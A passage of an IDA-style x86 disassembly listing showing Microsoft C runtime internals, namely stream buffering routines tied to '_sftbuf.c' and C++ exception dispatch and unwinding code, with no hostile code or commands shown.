mov [ebp+var_7], al
mov [ebp+var_6], 0
mov [ebp+var_4], 2
jmp short loc_42266D
; ---------------------------------------------------------------------------
loc_42265C: ; CODE XREF: sub_4225A0+98j
mov cl, byte ptr [ebp+arg_0]
mov [ebp+var_8], cl
mov [ebp+var_7], 0
mov [ebp+var_4], 1
loc_42266D: ; CODE XREF: sub_4225A0+BAj
push 1
push 0
push 3
lea edx, [ebp+var_C]
push edx
mov eax, [ebp+var_4]
push eax
lea ecx, [ebp+var_8]
push ecx
push 200h
mov edx, dword_4DE074
push edx
call sub_4275A0
add esp, 20h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_4226A1
mov eax, [ebp+arg_0]
jmp short loc_4226C7
; ---------------------------------------------------------------------------
loc_4226A1: ; CODE XREF: sub_4225A0+FAj
cmp [ebp+var_4], 1
jnz short loc_4226B1
mov eax, [ebp+var_C]
and eax, 0FFh
jmp short loc_4226C7
; ---------------------------------------------------------------------------
loc_4226B1: ; CODE XREF: sub_4225A0+105j
mov eax, [ebp+var_C]
and eax, 0FFh
mov ecx, [ebp+var_C+1]
and ecx, 0FFh
shl ecx, 8
or eax, ecx
loc_4226C7: ; CODE XREF: sub_4225A0+27j
; sub_4225A0+6Ej ...
mov esp, ebp
pop ebp
retn
sub_4225A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4226D0 proc near ; CODE XREF: sub_4185F0+79p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
loc_4226D9: ; CODE XREF: sub_4226D0+31j
cmp [ebp+arg_0], 0
jnz short loc_4226FD
push offset dword_4344AC
push 0
push 41h
push offset a_sftbuf_c ; "_sftbuf.c"
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_4226FD
int 3 ; Trap to Debugger
loc_4226FD: ; CODE XREF: sub_4226D0+Dj
; sub_4226D0+2Aj
xor eax, eax
test eax, eax
jnz short loc_4226D9
mov ecx, [ebp+arg_0]
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov eax, [edx+10h]
push eax
call sub_42A390
add esp, 4
test eax, eax
jnz short loc_422723
xor eax, eax
jmp loc_422820
; ---------------------------------------------------------------------------
loc_422723: ; CODE XREF: sub_4226D0+4Aj
cmp [ebp+var_4], offset dword_444EF8
jnz short loc_422735
mov [ebp+var_8], 0
jmp short loc_42274E
; ---------------------------------------------------------------------------
loc_422735: ; CODE XREF: sub_4226D0+5Aj
cmp [ebp+var_4], offset dword_444F18
jnz short loc_422747
mov [ebp+var_8], 1
jmp short loc_42274E
; ---------------------------------------------------------------------------
loc_422747: ; CODE XREF: sub_4226D0+6Cj
xor eax, eax
jmp loc_422820
; ---------------------------------------------------------------------------
loc_42274E: ; CODE XREF: sub_4226D0+63j
; sub_4226D0+75j
mov ecx, dword_4DDFDC
add ecx, 1
mov dword_4DDFDC, ecx
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 10Ch
test eax, eax
jz short loc_422773
xor eax, eax
jmp loc_422820
; ---------------------------------------------------------------------------
loc_422773: ; CODE XREF: sub_4226D0+9Aj
mov ecx, [ebp+var_8]
cmp dword_4DE058[ecx*4], 0
jnz short loc_4227DA
push 5Eh
push offset a_sftbuf_c ; "_sftbuf.c"
push 2
push 1000h
call sub_4150C0
add esp, 10h
mov edx, [ebp+var_8]
mov dword_4DE058[edx*4], eax
mov eax, [ebp+var_8]
cmp dword_4DE058[eax*4], 0
jnz short loc_4227DA
mov ecx, [ebp+var_4]
add ecx, 14h
mov edx, [ebp+var_4]
mov [edx+8], ecx
mov eax, [ebp+var_4]
mov ecx, [ebp+var_4]
mov edx, [ecx+8]
mov [eax], edx
mov eax, [ebp+var_4]
mov dword ptr [eax+18h], 2
mov ecx, [ebp+var_4]
mov dword ptr [ecx+4], 2
jmp short loc_422809
; ---------------------------------------------------------------------------
loc_4227DA: ; CODE XREF: sub_4226D0+AEj
; sub_4226D0+DBj
mov edx, [ebp+var_4]
mov eax, [ebp+var_8]
mov ecx, dword_4DE058[eax*4]
mov [edx+8], ecx
mov edx, [ebp+var_4]
mov eax, [ebp+var_4]
mov ecx, [eax+8]
mov [edx], ecx
mov edx, [ebp+var_4]
mov dword ptr [edx+18h], 1000h
mov eax, [ebp+var_4]
mov dword ptr [eax+4], 1000h
loc_422809: ; CODE XREF: sub_4226D0+108j
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
or edx, 1102h
mov eax, [ebp+var_4]
mov [eax+0Ch], edx
mov eax, 1
loc_422820: ; CODE XREF: sub_4226D0+4Ej
; sub_4226D0+79j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4226D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422830 proc near ; CODE XREF: sub_4185F0+A3p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
loc_422837: ; CODE XREF: sub_422830+38j
cmp [ebp+arg_0], 0
jz short loc_422864
cmp [ebp+arg_0], 1
jz short loc_422864
push offset aFlag0Flag1 ; "flag == 0 || flag == 1"
push 0
push 0A1h
push offset a_sftbuf_c ; "_sftbuf.c"
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_422864
int 3 ; Trap to Debugger
loc_422864: ; CODE XREF: sub_422830+Bj
; sub_422830+11j ...
xor eax, eax
test eax, eax
jnz short loc_422837
mov ecx, [ebp+arg_4]
mov [ebp+var_4], ecx
cmp [ebp+arg_0], 0
jz short loc_4228BD
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 1000h
test eax, eax
jz short loc_4228BD
mov ecx, [ebp+var_4]
push ecx
call sub_41B920
add esp, 4
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and ah, 0EEh
mov ecx, [ebp+var_4]
mov [ecx+0Ch], eax
mov edx, [ebp+var_4]
mov dword ptr [edx+18h], 0
mov eax, [ebp+var_4]
mov dword ptr [eax], 0
mov ecx, [ebp+var_4]
mov dword ptr [ecx+8], 0
loc_4228BD: ; CODE XREF: sub_422830+44j
; sub_422830+53j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_422830 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4228D0 proc near ; CODE XREF: sub_418DE0+27p
; sub_418EC0+2Cp ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_10]
cmp dword ptr [eax], 19930520h
jnz short loc_4228EA
mov [ebp+var_8], 0
jmp short loc_4228F2
; ---------------------------------------------------------------------------
loc_4228EA: ; CODE XREF: sub_4228D0+Fj
call sub_423630
mov [ebp+var_8], eax
loc_4228F2: ; CODE XREF: sub_4228D0+18j
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
and edx, 66h
test edx, edx
jz short loc_42292E
mov eax, [ebp+arg_10]
cmp dword ptr [eax+4], 0
jz short loc_422924
cmp [ebp+arg_14], 0
jnz short loc_422924
push 0FFFFFFFFh
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_4]
push eax
call sub_422E40
add esp, 10h
loc_422924: ; CODE XREF: sub_4228D0+36j
; sub_4228D0+3Cj
mov eax, 1
jmp loc_4229BB
; ---------------------------------------------------------------------------
loc_42292E: ; CODE XREF: sub_4228D0+2Dj
mov ecx, [ebp+arg_10]
cmp dword ptr [ecx+0Ch], 0
jz short loc_4229B6
mov edx, [ebp+arg_0]
cmp dword ptr [edx], 0E06D7363h
jnz short loc_42298E
mov eax, [ebp+arg_0]
cmp dword ptr [eax+14h], 19930520h
jbe short loc_42298E
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov eax, [edx+8]
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_42298E
mov ecx, [ebp+arg_1C]
and ecx, 0FFh
push ecx
mov edx, [ebp+arg_18]
push edx
mov eax, [ebp+arg_14]
push eax
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call [ebp+var_4]
add esp, 20h
jmp short loc_4229BB
; ---------------------------------------------------------------------------
loc_42298E: ; CODE XREF: sub_4228D0+70j
; sub_4228D0+7Cj ...
mov eax, [ebp+arg_18]
push eax
mov ecx, [ebp+arg_14]
push ecx
mov dl, byte ptr [ebp+arg_1C]
push edx
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4229C0
add esp, 20h
loc_4229B6: ; CODE XREF: sub_4228D0+65j
mov eax, 1
loc_4229BB: ; CODE XREF: sub_4228D0+59j
; sub_4228D0+BCj
mov esp, ebp
pop ebp
retn
sub_4228D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4229C0 proc near ; CODE XREF: sub_4228D0+DEp
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 30h
mov [ebp+var_8], 0
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
mov [ebp+var_4], ecx
cmp [ebp+var_4], 0FFFFFFFFh
jl short loc_4229ED
mov edx, [ebp+arg_10]
mov eax, [ebp+var_4]
cmp eax, [edx+4]
jge short loc_4229ED
mov [ebp+var_28], 0
jmp short loc_4229F5
; ---------------------------------------------------------------------------
loc_4229ED: ; CODE XREF: sub_4229C0+17j
; sub_4229C0+22j
call sub_423630
mov [ebp+var_28], eax
loc_4229F5: ; CODE XREF: sub_4229C0+2Bj
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx], 0E06D7363h
jnz loc_422AB5
mov edx, [ebp+arg_0]
cmp dword ptr [edx+10h], 3
jnz loc_422AB5
mov eax, [ebp+arg_0]
cmp dword ptr [eax+14h], 19930520h
jnz loc_422AB5
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+1Ch], 0
jnz loc_422AB5
call sub_421920
cmp dword ptr [eax+6Ch], 0
jnz short loc_422A3E
jmp loc_422C5C
; ---------------------------------------------------------------------------
loc_422A3E: ; CODE XREF: sub_4229C0+77j
call sub_421920
mov edx, [eax+6Ch]
mov [ebp+arg_0], edx
call sub_421920
mov eax, [eax+70h]
mov [ebp+arg_8], eax
mov [ebp+var_8], 1
push 1
mov ecx, [ebp+arg_0]
push ecx
call sub_42A590
add esp, 8
test eax, eax
jz short loc_422A73
mov [ebp+var_2C], 0
jmp short loc_422A7B
; ---------------------------------------------------------------------------
loc_422A73: ; CODE XREF: sub_4229C0+A8j
call sub_423630
mov [ebp+var_2C], eax
loc_422A7B: ; CODE XREF: sub_4229C0+B1j
mov edx, [ebp+arg_0]
cmp dword ptr [edx], 0E06D7363h
jnz short loc_422AAE
mov eax, [ebp+arg_0]
cmp dword ptr [eax+10h], 3
jnz short loc_422AAE
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+14h], 19930520h
jnz short loc_422AAE
mov edx, [ebp+arg_0]
cmp dword ptr [edx+1Ch], 0
jnz short loc_422AAE
call sub_423630
mov [ebp+var_30], eax
jmp short loc_422AB5
; ---------------------------------------------------------------------------
loc_422AAE: ; CODE XREF: sub_4229C0+C4j
; sub_4229C0+CDj ...
mov [ebp+var_30], 0
loc_422AB5: ; CODE XREF: sub_4229C0+3Ej
; sub_4229C0+4Bj ...
mov eax, [ebp+arg_0]
cmp dword ptr [eax], 0E06D7363h
jnz loc_422C1C
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+10h], 3
jnz loc_422C1C
mov edx, [ebp+arg_0]
cmp dword ptr [edx+14h], 19930520h
jnz loc_422C1C
lea eax, [ebp+var_C]
push eax
lea ecx, [ebp+var_14]
push ecx
mov edx, [ebp+var_4]
push edx
mov eax, [ebp+arg_18]
push eax
mov ecx, [ebp+arg_10]
push ecx
call sub_419060
add esp, 14h
mov [ebp+var_10], eax
jmp short loc_422B14
; ---------------------------------------------------------------------------
loc_422B02: ; CODE XREF: sub_4229C0:loc_422B35j
; sub_4229C0:loc_422BFAj
mov edx, [ebp+var_14]
add edx, 1
mov [ebp+var_14], edx
mov eax, [ebp+var_10]
add eax, 14h
mov [ebp+var_10], eax
loc_422B14: ; CODE XREF: sub_4229C0+140j
mov ecx, [ebp+var_14]
cmp ecx, [ebp+var_C]
jnb loc_422BFF
mov edx, [ebp+var_10]
mov eax, [edx]
cmp eax, [ebp+var_4]
jg short loc_422B35
mov ecx, [ebp+var_10]
mov edx, [ebp+var_4]
cmp edx, [ecx+4]
jle short loc_422B37
loc_422B35: ; CODE XREF: sub_4229C0+168j
jmp short loc_422B02
; ---------------------------------------------------------------------------
loc_422B37: ; CODE XREF: sub_4229C0+173j
mov eax, [ebp+var_10]
mov ecx, [eax+10h]
mov [ebp+var_1C], ecx
mov edx, [ebp+var_10]
mov eax, [edx+0Ch]
mov [ebp+var_24], eax
jmp short loc_422B5D
; ---------------------------------------------------------------------------
loc_422B4B: ; CODE XREF: sub_4229C0:loc_422BF5j
mov ecx, [ebp+var_24]
sub ecx, 1
mov [ebp+var_24], ecx
mov edx, [ebp+var_1C]
add edx, 10h
mov [ebp+var_1C], edx
loc_422B5D: ; CODE XREF: sub_4229C0+189j
cmp [ebp+var_24], 0
jle loc_422BFA
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov edx, [ecx+0Ch]
add edx, 4
mov [ebp+var_18], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov edx, [ecx+0Ch]
mov eax, [edx]
mov [ebp+var_20], eax
jmp short loc_422B98
; ---------------------------------------------------------------------------
loc_422B86: ; CODE XREF: sub_4229C0+1FBj
mov ecx, [ebp+var_20]
sub ecx, 1
mov [ebp+var_20], ecx
mov edx, [ebp+var_18]
add edx, 4
mov [ebp+var_18], edx
loc_422B98: ; CODE XREF: sub_4229C0+1C4j
cmp [ebp+var_20], 0
jle short loc_422BF5
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
push ecx
mov edx, [ebp+var_18]
mov eax, [edx]
push eax
mov ecx, [ebp+var_1C]
push ecx
call sub_422D80
add esp, 0Ch
test eax, eax
jnz short loc_422BBD
jmp short loc_422B86
; ---------------------------------------------------------------------------
loc_422BBD: ; CODE XREF: sub_4229C0+1F9j
mov dl, [ebp+var_8]
push edx
mov eax, [ebp+arg_1C]
push eax
mov ecx, [ebp+arg_18]
push ecx
mov edx, [ebp+var_10]
push edx
mov eax, [ebp+var_18]
mov ecx, [eax]
push ecx
mov edx, [ebp+var_1C]
push edx
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_422F70
add esp, 2Ch
jmp short loc_422C5A
; ---------------------------------------------------------------------------
loc_422BF5: ; CODE XREF: sub_4229C0+1DCj
jmp loc_422B4B
; ---------------------------------------------------------------------------
loc_422BFA: ; CODE XREF: sub_4229C0+1A1j
; sub_4229C0:loc_422C5Aj
jmp loc_422B02
; ---------------------------------------------------------------------------
loc_422BFF: ; CODE XREF: sub_4229C0+15Aj
mov edx, [ebp+arg_14]
and edx, 0FFh
test edx, edx
jz short loc_422C1A
push 1
mov eax, [ebp+arg_0]
push eax
call sub_423450
add esp, 8
loc_422C1A: ; CODE XREF: sub_4229C0+24Aj
jmp short loc_422C58
; ---------------------------------------------------------------------------
loc_422C1C: ; CODE XREF: sub_4229C0+FEj
; sub_4229C0+10Bj ...
mov ecx, [ebp+arg_14]
and ecx, 0FFh
test ecx, ecx
jnz short loc_422C53
mov edx, [ebp+arg_1C]
push edx
mov eax, [ebp+arg_18]
push eax
mov ecx, [ebp+var_4]
push ecx
mov edx, [ebp+arg_10]
push edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_422C60
add esp, 20h
jmp short loc_422C58
; ---------------------------------------------------------------------------
loc_422C53: ; CODE XREF: sub_4229C0+267j
call sub_423580
loc_422C58: ; CODE XREF: sub_4229C0:loc_422C1Aj
; sub_4229C0+291j
jmp short loc_422C5C
; ---------------------------------------------------------------------------
loc_422C5A: ; CODE XREF: sub_4229C0+233j
jmp short loc_422BFA
; ---------------------------------------------------------------------------
loc_422C5C: ; CODE XREF: sub_4229C0+79j
; sub_4229C0:loc_422C58j
mov esp, ebp
pop ebp
retn
sub_4229C0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422C60 proc near ; CODE XREF: sub_4229C0+289p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 0Ch
call sub_421920
cmp dword ptr [eax+68h], 0
jz short loc_422C9E
mov eax, [ebp+arg_1C]
push eax
mov ecx, [ebp+arg_18]
push ecx
mov edx, [ebp+arg_10]
push edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_418F00
add esp, 1Ch
test eax, eax
jz short loc_422C9E
jmp loc_422D71
; ---------------------------------------------------------------------------
loc_422C9E: ; CODE XREF: sub_422C60+Fj
; sub_422C60+37j
lea ecx, [ebp+var_4]
push ecx
lea edx, [ebp+var_C]
push edx
mov eax, [ebp+arg_14]
push eax
mov ecx, [ebp+arg_18]
push ecx
mov edx, [ebp+arg_10]
push edx
call sub_419060
add esp, 14h
mov [ebp+var_8], eax
jmp short loc_422CD1
; ---------------------------------------------------------------------------
loc_422CBF: ; CODE XREF: sub_422C60:loc_422D29j
; sub_422C60+10Cj
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+var_8]
add ecx, 14h
mov [ebp+var_8], ecx
loc_422CD1: ; CODE XREF: sub_422C60+5Dj
mov edx, [ebp+var_C]
cmp edx, [ebp+var_4]
jnb loc_422D71
mov eax, [ebp+var_8]
mov ecx, [ebp+arg_14]
cmp ecx, [eax]
jl short loc_422D29
mov edx, [ebp+var_8]
mov eax, [ebp+arg_14]
cmp eax, [edx+4]
jg short loc_422D29
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
sub edx, 1
shl edx, 4
mov eax, [ebp+var_8]
mov ecx, [eax+10h]
cmp dword ptr [ecx+edx+4], 0
jz short loc_422D2B
mov edx, [ebp+var_8]
mov eax, [edx+0Ch]
sub eax, 1
shl eax, 4
mov ecx, [ebp+var_8]
mov edx, [ecx+10h]
mov eax, [edx+eax+4]
movsx ecx, byte ptr [eax+8]
test ecx, ecx
jz short loc_422D2B
loc_422D29: ; CODE XREF: sub_422C60+85j
; sub_422C60+90j
jmp short loc_422CBF
; ---------------------------------------------------------------------------
loc_422D2B: ; CODE XREF: sub_422C60+A9j
; sub_422C60+C7j
push 1
mov edx, [ebp+arg_1C]
push edx
mov eax, [ebp+arg_18]
push eax
mov ecx, [ebp+var_8]
push ecx
push 0
mov edx, [ebp+var_8]
mov eax, [edx+0Ch]
sub eax, 1
shl eax, 4
mov ecx, [ebp+var_8]
mov edx, [ecx+10h]
add edx, eax
push edx
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_422F70
add esp, 2Ch
jmp loc_422CBF
; ---------------------------------------------------------------------------
loc_422D71: ; CODE XREF: sub_422C60+39j
; sub_422C60+77j
mov esp, ebp
pop ebp
retn
sub_422C60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422D80 proc near ; CODE XREF: sub_4229C0+1EFp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp dword ptr [eax+4], 0
jz short loc_422D9B
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
movsx eax, byte ptr [edx+8]
test eax, eax
jnz short loc_422DA5
loc_422D9B: ; CODE XREF: sub_422D80+Bj
mov eax, 1
jmp loc_422E32
; ---------------------------------------------------------------------------
loc_422DA5: ; CODE XREF: sub_422D80+19j
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_4]
mov eax, [ecx+4]
cmp eax, [edx+4]
jz short loc_422DD7
mov ecx, [ebp+arg_4]
mov edx, [ecx+4]
add edx, 8
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
add ecx, 8
push ecx
call sub_418A30
add esp, 8
test eax, eax
jz short loc_422DD7
xor eax, eax
jmp short loc_422E32
; ---------------------------------------------------------------------------
loc_422DD7: ; CODE XREF: sub_422D80+31j
; sub_422D80+51j
mov edx, [ebp+arg_4]
mov eax, [edx]
and eax, 2
test eax, eax
jz short loc_422DEF
mov ecx, [ebp+arg_0]
mov edx, [ecx]
and edx, 8
test edx, edx
jz short loc_422E28
loc_422DEF: ; CODE XREF: sub_422D80+61j
mov eax, [ebp+arg_8]
mov ecx, [eax]
and ecx, 1
test ecx, ecx
jz short loc_422E07
mov edx, [ebp+arg_0]
mov eax, [edx]
and eax, 1
test eax, eax
jz short loc_422E28
loc_422E07: ; CODE XREF: sub_422D80+79j
mov ecx, [ebp+arg_8]
mov edx, [ecx]
and edx, 2
test edx, edx
jz short loc_422E1F
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 2
test ecx, ecx
jz short loc_422E28
loc_422E1F: ; CODE XREF: sub_422D80+91j
mov [ebp+var_4], 1
jmp short loc_422E2F
; ---------------------------------------------------------------------------
loc_422E28: ; CODE XREF: sub_422D80+6Dj
; sub_422D80+85j ...
mov [ebp+var_4], 0
loc_422E2F: ; CODE XREF: sub_422D80+A6j
mov eax, [ebp+var_4]
loc_422E32: ; CODE XREF: sub_422D80+20j
; sub_422D80+55j
mov esp, ebp
pop ebp
retn
sub_422D80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422E40 proc near ; CODE XREF: .data:00418E3Ap
; sub_4228D0+4Cp ...
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4351B8
push offset sub_41BD64
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFECh
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
mov [ebp+var_1C], ecx
loc_422E6F: ; CODE XREF: sub_422E40+BFj
mov edx, [ebp+var_1C]
cmp edx, [ebp+arg_C]
jz loc_422F04
cmp [ebp+var_1C], 0FFFFFFFFh
jle short loc_422E95
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_1C]
cmp ecx, [eax+4]
jge short loc_422E95
mov [ebp+var_20], 0
jmp short loc_422E9D
; ---------------------------------------------------------------------------
loc_422E95: ; CODE XREF: sub_422E40+3Fj
; sub_422E40+4Aj
call sub_423630
mov [ebp+var_20], eax
loc_422E9D: ; CODE XREF: sub_422E40+53j
mov [ebp+var_4], 0
mov edx, [ebp+arg_8]
mov eax, [edx+8]
mov ecx, [ebp+var_1C]
cmp dword ptr [eax+ecx*8+4], 0
jz short loc_422ED0
push 103h
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+arg_8]
mov ecx, [eax+8]
mov edx, [ebp+var_1C]
mov eax, [ecx+edx*8+4]
push eax
call sub_423530
loc_422ED0: ; CODE XREF: sub_422E40+72j
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_422EF0
; ---------------------------------------------------------------------------
mov ecx, [ebp+var_14]
push ecx
call sub_422F40
add esp, 4
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_4], 0FFFFFFFFh
loc_422EF0: ; CODE XREF: sub_422E40+97j
mov edx, [ebp+arg_8]
mov eax, [edx+8]
mov ecx, [ebp+var_1C]
mov edx, [eax+ecx*8]
mov [ebp+var_1C], edx
jmp loc_422E6F
; ---------------------------------------------------------------------------
loc_422F04: ; CODE XREF: sub_422E40+35j
mov eax, [ebp+var_1C]
cmp eax, [ebp+arg_C]
jnz short loc_422F15
mov [ebp+var_24], 0
jmp short loc_422F1D
; ---------------------------------------------------------------------------
loc_422F15: ; CODE XREF: sub_422E40+CAj
call sub_423630
mov [ebp+var_24], eax
loc_422F1D: ; CODE XREF: sub_422E40+D3j
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_1C]
mov [ecx+8], edx
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_422E40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422F40 proc near ; CODE XREF: sub_422E40+9Dp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov eax, [edx]
mov [ebp+var_8], eax
cmp [ebp+var_8], 0E06D7363h
jz short loc_422F61
jmp short loc_422F66
; ---------------------------------------------------------------------------
loc_422F61: ; CODE XREF: sub_422F40+1Dj
call sub_423580
loc_422F66: ; CODE XREF: sub_422F40+1Fj
xor eax, eax
mov esp, ebp
pop ebp
retn
sub_422F40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422F70 proc near ; CODE XREF: sub_4229C0+22Bp
; sub_422C60+104p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
cmp [ebp+arg_18], 0
jz short loc_422F9A
mov ecx, [ebp+arg_18]
push ecx
mov edx, [ebp+arg_14]
push edx
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4231D0
add esp, 10h
loc_422F9A: ; CODE XREF: sub_422F70+10j
cmp [ebp+arg_24], 0
jnz short loc_422FAF
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+arg_4]
push eax
call sub_418D80
jmp short loc_422FBC
; ---------------------------------------------------------------------------
loc_422FAF: ; CODE XREF: sub_422F70+2Ej
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+arg_24]
push edx
call sub_418D80
loc_422FBC: ; CODE XREF: sub_422F70+3Dj
mov eax, [ebp+arg_1C]
mov ecx, [eax]
push ecx
mov edx, [ebp+arg_10]
push edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+var_4]
push ecx
call sub_422E40
add esp, 10h
mov edx, [ebp+arg_1C]
mov eax, [edx+4]
add eax, 1
mov ecx, [ebp+arg_4]
mov [ecx+8], eax
push 100h
mov edx, [ebp+arg_20]
push edx
mov eax, [ebp+arg_14]
mov ecx, [eax+0Ch]
push ecx
mov edx, [ebp+arg_10]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_423030
add esp, 1Ch
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_423023
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_8]
push ecx
call sub_418D10
loc_423023: ; CODE XREF: sub_422F70+A4j
mov esp, ebp
pop ebp
retn
sub_422F70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
